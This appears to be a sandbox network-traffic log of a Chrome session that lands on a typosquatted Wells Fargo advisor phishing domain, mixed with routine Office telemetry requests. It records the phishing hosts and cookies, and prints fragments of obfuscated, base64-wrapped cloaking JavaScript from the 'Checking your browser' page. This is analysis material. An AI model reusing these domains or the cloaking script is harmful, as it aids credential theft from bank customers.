2024-11-14 19:43:25 UTC	1108	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-11-14 19:43:25 UTC	447	IN	Data Raw: 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c Data Ascii: -min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.googl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49851	188.119.66.154	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:25 UTC	745	OUT	GET /?ref=93isxpaq24fuj HTTP/1.1 Host: online.secure.access.wellsfarqoadvlsor.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://opendirectline.blob.core.windows.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 19:43:26 UTC	595	IN	HTTP/1.1 302 See Other Date: Thu, 14 Nov 2024 19:43:26 GMT Server: Apache/2.4.41 (Ubuntu) Set-Cookie: PHPSESSID=iqrqitr918d84r4n75nn08tjdm; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: ref=93isxpaq24fuj; expires=Thu, 14-Nov-2024 20:43:26 GMT; Max-Age=3600; path=/ Set-Cookie: referer=aHR0cHM6Ly9vcGVuZGlyZWN0bGluZS5ibG9iLmNvcmUud2luZG93cy5uZXQv; expires=Thu, 14-Nov-2024 20:43:26 GMT; Max-Age=3600; path=/ Location: secure/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:26 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: b74af8a2-301e-0051-7859-3538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194326Z-1749fc9bdbd2jxtthC1DFWfk5w000000030g000000003tnn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:26 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:26 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1a2e7d6b-a01e-000d-7bfc-2cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194326Z-16547b76f7fknvdnhC1DFWxnys0000000m7g0000000008e5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:26 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:26 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:26 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: a2886317-b01e-00ab-6c01-2ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194326Z-16547b76f7fj5p7mhC1DFWf8w40000000m7000000000bm9e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:26 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:26 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:26 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 0d17d1bf-701e-005c-790c-36bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194326Z-1749fc9bdbd64qfzhC1DFW3wgw000000011000000000bf68 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 19:43:26 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49852	188.119.66.154	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:26 UTC	869	OUT	GET /secure/ HTTP/1.1 Host: online.secure.access.wellsfarqoadvlsor.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://opendirectline.blob.core.windows.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=iqrqitr918d84r4n75nn08tjdm; ref=93isxpaq24fuj; referer=aHR0cHM6Ly9vcGVuZGlyZWN0bGluZS5ibG9iLmNvcmUud2luZG93cy5uZXQv
2024-11-14 19:43:26 UTC	276	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Fri, 09 Feb 2024 14:04:00 GMT ETag: "26be6-610f36651d400" Accept-Ranges: bytes Content-Length: 158694 Vary: Accept-Encoding Connection: close Content-Type: text/html
2024-11-14 19:43:26 UTC	16384	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 43 68 65 63 6b 69 6e 67 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e Data Ascii: <!DOCTYPE HTML><html lang="en"> <head> <title>Checking your browser...</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.
2024-11-14 19:43:27 UTC	16384	IN	Data Raw: 63 6d 30 6e 4c 43 64 69 63 6d 39 33 63 32 56 79 54 47 46 75 5a 33 56 68 5a 32 55 6e 4c 43 64 72 62 6d 56 6c 4a 79 77 6e 64 6d 46 73 64 57 55 6e 4c 43 64 74 63 31 64 79 61 58 52 6c 55 48 4a 76 5a 6d 6c 73 5a 58 4a 4e 59 58 4a 72 4a 79 77 6e 62 47 39 6e 4d 54 41 6e 4c 43 63 6a 62 57 56 30 5a 57 39 79 5a 57 52 66 63 32 68 68 63 6d 55 6e 4c 43 64 7a 64 57 5a 6d 61 58 68 6c 63 79 63 73 4a 31 6c 57 64 47 39 6a 62 56 5a 74 57 47 6f 77 61 57 46 49 55 6a 42 6a 52 47 39 32 54 44 4a 47 61 32 52 74 4d 57 68 69 62 55 5a 75 57 6c 68 4a 64 57 52 48 56 6d 70 68 52 31 6f 78 59 6d 6b 31 64 32 4a 44 4f 58 6c 61 56 31 4a 77 59 32 31 57 61 6d 52 44 4f 47 6c 59 55 54 30 39 4a 79 77 6e 63 47 46 79 5a 57 35 30 54 6d 39 6b 5a 53 63 73 4a 33 56 6a 64 32 56 69 4a 79 77 6e 64 32 6c Data Ascii: cm0nLCdicm93c2VyTGFuZ3VhZ2UnLCdrbmVlJywndmFsdWUnLCdtc1dyaXRlUHJvZmlsZXJNYXJrJywnbG9nMTAnLCcjbWV0ZW9yZWRfc2hhcmUnLCdzdWZmaXhlcycsJ1lWdG9jbVZtWGowaWFIUjBjRG92TDJGa2RtMWhibUZuWlhJdWRHVmphR1oxYmk1d2JDOXlaV1JwY21WamRDOGlYUT09JywncGFyZW50Tm9kZScsJ3Vjd2ViJywnd2l
2024-11-14 19:43:27 UTC	16384	IN	Data Raw: 4d 48 67 78 4e 44 51 31 4e 6d 4a 62 4d 48 67 78 58 54 31 66 4d 48 67 79 4e 44 63 30 4e 44 45 38 50 46 38 77 65 44 4e 68 4e 6d 55 78 59 6e 78 66 4d 48 67 78 4e 44 51 31 4e 6d 4a 62 4d 48 67 78 58 54 34 2b 50 6a 42 34 4d 6a 41 74 58 7a 42 34 4d 32 45 32 5a 54 46 69 4b 54 74 39 5a 6e 56 75 59 33 52 70 62 32 34 67 65 53 68 66 4d 48 67 78 4f 57 59 35 4d 57 51 73 58 7a 42 34 59 54 46 6a 4e 47 55 33 4b 58 73 77 65 44 41 68 50 54 30 6f 58 7a 42 34 59 54 46 6a 4e 47 55 33 4a 54 30 77 65 44 51 77 4b 53 59 6d 4b 46 38 77 65 47 45 78 59 7a 52 6c 4e 7a 77 77 65 44 49 77 50 79 68 66 4d 48 67 78 4f 57 59 35 4d 57 52 62 4d 48 67 77 58 54 31 66 4d 48 67 78 4f 57 59 35 4d 57 52 62 4d 48 67 78 58 54 34 2b 50 6a 42 34 4d 6a 41 74 58 7a 42 34 59 54 46 6a 4e 47 55 33 4c 46 38 Data Ascii: MHgxNDQ1NmJbMHgxXT1fMHgyNDc0NDE8PF8weDNhNmUxYnxfMHgxNDQ1NmJbMHgxXT4+PjB4MjAtXzB4M2E2ZTFiKTt9ZnVuY3Rpb24geShfMHgxOWY5MWQsXzB4YTFjNGU3KXsweDAhPT0oXzB4YTFjNGU3JT0weDQwKSYmKF8weGExYzRlNzwweDIwPyhfMHgxOWY5MWRbMHgwXT1fMHgxOWY5MWRbMHgxXT4+PjB4MjAtXzB4YTFjNGU3LF8
2024-11-14 19:43:27 UTC	16384	IN	Data Raw: 66 54 74 66 4d 48 67 7a 4d 6a 55 31 4d 32 4d 6f 4b 54 74 39 4b 56 30 37 59 32 46 7a 5a 53 41 77 65 44 55 36 58 7a 42 34 4e 47 52 6d 4e 7a 4d 31 57 79 64 7a 5a 57 35 30 4a 31 30 6f 4b 53 78 66 4d 48 67 30 5a 47 59 33 4d 7a 56 62 4a 32 78 68 59 6d 56 73 4a 31 30 39 4d 48 67 32 4f 32 4e 68 63 32 55 67 4d 48 67 32 4f 6e 4a 6c 64 48 56 79 62 69 68 75 64 57 78 73 50 54 30 39 4b 46 38 77 65 44 63 32 4d 32 55 77 4d 44 31 75 64 57 78 73 50 54 30 39 4b 46 38 77 65 44 4d 78 4e 7a 49 79 5a 54 31 66 4d 48 67 78 4d 6d 52 6c 59 7a 6c 62 58 7a 42 34 4d 6a 4e 6b 5a 57 46 6a 4b 44 42 34 4d 6d 4d 30 4b 56 30 70 66 48 78 32 62 32 6c 6b 49 44 42 34 4d 44 30 39 50 56 38 77 65 44 4d 78 4e 7a 49 79 5a 54 39 32 62 32 6c 6b 49 44 42 34 4d 44 70 66 4d 48 67 7a 4d 54 63 79 4d 6d 56 Data Ascii: fTtfMHgzMjU1M2MoKTt9KV07Y2FzZSAweDU6XzB4NGRmNzM1WydzZW50J10oKSxfMHg0ZGY3MzVbJ2xhYmVsJ109MHg2O2Nhc2UgMHg2OnJldHVybihudWxsPT09KF8weDc2M2UwMD1udWxsPT09KF8weDMxNzIyZT1fMHgxMmRlYzlbXzB4MjNkZWFjKDB4MmM0KV0pfHx2b2lkIDB4MD09PV8weDMxNzIyZT92b2lkIDB4MDpfMHgzMTcyMmV
2024-11-14 19:43:27 UTC	16384	IN	Data Raw: 50 31 73 77 65 44 51 73 4b 46 38 77 65 44 46 6a 4e 54 42 69 59 54 31 6b 62 32 4e 31 62 57 56 75 64 43 77 6f 58 7a 42 34 4d 57 4d 31 4d 47 4a 68 57 31 38 77 65 44 4d 34 4d 54 4d 32 5a 53 67 77 65 44 4d 33 4f 43 6c 64 66 48 78 66 4d 48 67 78 59 7a 55 77 59 6d 46 62 4a 32 31 7a 52 58 68 70 64 45 5a 31 62 47 78 7a 59 33 4a 6c 5a 57 34 6e 58 58 78 38 58 7a 42 34 4d 57 4d 31 4d 47 4a 68 57 31 38 77 65 44 4d 34 4d 54 4d 32 5a 53 67 77 65 44 49 30 5a 53 6c 64 66 48 78 66 4d 48 67 78 59 7a 55 77 59 6d 46 62 58 7a 42 34 4d 7a 67 78 4d 7a 5a 6c 4b 44 42 34 4d 7a 63 32 4b 56 30 70 57 31 38 77 65 44 4d 34 4d 54 4d 32 5a 53 67 77 65 44 4e 6c 4f 53 6c 64 4b 46 38 77 65 44 46 6a 4e 54 42 69 59 53 6b 70 58 54 70 62 4d 48 67 7a 4c 44 42 34 4d 6c 30 36 57 7a 42 34 4d 79 77 Data Ascii: P1sweDQsKF8weDFjNTBiYT1kb2N1bWVudCwoXzB4MWM1MGJhW18weDM4MTM2ZSgweDM3OCldfHxfMHgxYzUwYmFbJ21zRXhpdEZ1bGxzY3JlZW4nXXx8XzB4MWM1MGJhW18weDM4MTM2ZSgweDI0ZSldfHxfMHgxYzUwYmFbXzB4MzgxMzZlKDB4Mzc2KV0pW18weDM4MTM2ZSgweDNlOSldKF8weDFjNTBiYSkpXTpbMHgzLDB4Ml06WzB4Myw
2024-11-14 19:43:27 UTC	16384	IN	Data Raw: 4d 6d 59 32 4b 53 78 66 4d 48 67 31 59 54 67 32 4e 44 51 6f 4d 48 67 7a 59 32 51 70 4c 46 38 77 65 44 56 68 4f 44 59 30 4e 43 67 77 65 44 4a 6a 59 79 6b 73 58 7a 42 34 4e 57 45 34 4e 6a 51 30 4b 44 42 34 4d 57 5a 6b 4b 53 78 66 4d 48 67 31 59 54 67 32 4e 44 51 6f 4d 48 67 79 4d 44 51 70 58 53 77 6e 5a 6d 46 75 59 6d 39 35 55 32 39 6a 61 57 46 73 4a 7a 70 62 58 7a 42 34 4e 57 45 34 4e 6a 51 30 4b 44 42 34 4d 6a 56 6c 4b 53 78 66 4d 48 67 31 59 54 67 32 4e 44 51 6f 4d 48 67 79 4d 57 51 70 4c 46 38 77 65 44 56 68 4f 44 59 30 4e 43 67 77 65 44 4d 77 5a 69 6b 73 58 7a 42 34 4e 57 45 34 4e 6a 51 30 4b 44 42 34 4d 6a 6c 6b 4b 53 77 6e 4c 6d 4e 76 62 57 31 31 62 6d 6c 30 65 56 39 66 63 32 39 6a 61 57 46 73 4c 57 52 6c 63 32 4d 6e 58 53 77 6e 5a 6e 4a 6c 62 47 78 Data Ascii: MmY2KSxfMHg1YTg2NDQoMHgzY2QpLF8weDVhODY0NCgweDJjYyksXzB4NWE4NjQ0KDB4MWZkKSxfMHg1YTg2NDQoMHgyMDQpXSwnZmFuYm95U29jaWFsJzpbXzB4NWE4NjQ0KDB4MjVlKSxfMHg1YTg2NDQoMHgyMWQpLF8weDVhODY0NCgweDMwZiksXzB4NWE4NjQ0KDB4MjlkKSwnLmNvbW11bml0eV9fc29jaWFsLWRlc2MnXSwnZnJlbGx
2024-11-14 19:43:27 UTC	16384	IN	Data Raw: 61 57 39 75 4a 7a 70 6d 64 57 35 6a 64 47 6c 76 62 69 67 70 65 33 5a 68 63 69 42 66 4d 48 67 78 59 32 52 6d 4d 47 55 39 58 7a 42 34 4d 32 5a 6b 4e 6a 6b 77 4f 33 4a 6c 64 48 56 79 62 69 45 68 5a 47 55 6f 58 7a 42 34 4d 57 4e 6b 5a 6a 42 6c 4b 44 42 34 4d 32 4e 6c 4b 53 6c 38 66 43 46 6b 5a 53 68 66 4d 48 67 78 59 32 52 6d 4d 47 55 6f 4d 48 67 79 4d 7a 4d 70 4b 53 59 6d 64 6d 39 70 5a 43 41 77 65 44 41 37 66 53 77 6e 63 6d 56 6b 64 57 4e 6c 5a 46 52 79 59 57 35 7a 63 47 46 79 5a 57 35 6a 65 53 63 36 5a 6e 56 75 59 33 52 70 62 32 34 6f 4b 58 74 32 59 58 49 67 58 7a 42 34 4e 54 63 31 5a 54 51 7a 50 56 38 77 65 44 4e 6d 5a 44 59 35 4d 44 74 79 5a 58 52 31 63 6d 34 68 49 57 5a 6c 4b 46 38 77 65 44 55 33 4e 57 55 30 4d 79 67 77 65 44 4e 6a 5a 53 6b 70 66 48 77 Data Ascii: aW9uJzpmdW5jdGlvbigpe3ZhciBfMHgxY2RmMGU9XzB4M2ZkNjkwO3JldHVybiEhZGUoXzB4MWNkZjBlKDB4M2NlKSl8fCFkZShfMHgxY2RmMGUoMHgyMzMpKSYmdm9pZCAweDA7fSwncmVkdWNlZFRyYW5zcGFyZW5jeSc6ZnVuY3Rpb24oKXt2YXIgXzB4NTc1ZTQzPV8weDNmZDY5MDtyZXR1cm4hIWZlKF8weDU3NWU0MygweDNjZSkpfHw
2024-11-14 19:43:27 UTC	16384	IN	Data Raw: 67 31 4b 79 31 77 59 58 4a 7a 5a 55 6c 75 64 43 68 66 4d 48 67 78 4e 6d 55 30 5a 44 63 6f 4d 48 68 69 4e 69 6b 70 4c 7a 42 34 4e 69 6f 6f 4c 58 42 68 63 6e 4e 6c 53 57 35 30 4b 46 38 77 65 44 45 32 5a 54 52 6b 4e 79 67 77 65 44 6b 33 4b 53 6b 76 4d 48 67 33 4b 53 74 77 59 58 4a 7a 5a 55 6c 75 64 43 68 66 4d 48 67 78 4e 6d 55 30 5a 44 63 6f 4d 48 67 78 4e 44 45 70 4b 53 38 77 65 44 67 72 63 47 46 79 63 32 56 4a 62 6e 51 6f 58 7a 42 34 4d 54 5a 6c 4e 47 51 33 4b 44 42 34 4d 54 41 77 4b 53 6b 76 4d 48 67 35 4b 69 67 74 63 47 46 79 63 32 56 4a 62 6e 51 6f 58 7a 42 34 4d 54 5a 6c 4e 47 51 33 4b 44 42 34 59 32 49 70 4b 53 38 77 65 47 45 70 4f 32 6c 6d 4b 46 38 77 65 44 4e 6d 4d 57 4a 68 5a 44 30 39 50 56 38 77 65 44 4e 6b 4f 44 63 79 59 53 6c 69 63 6d 56 68 61 Data Ascii: 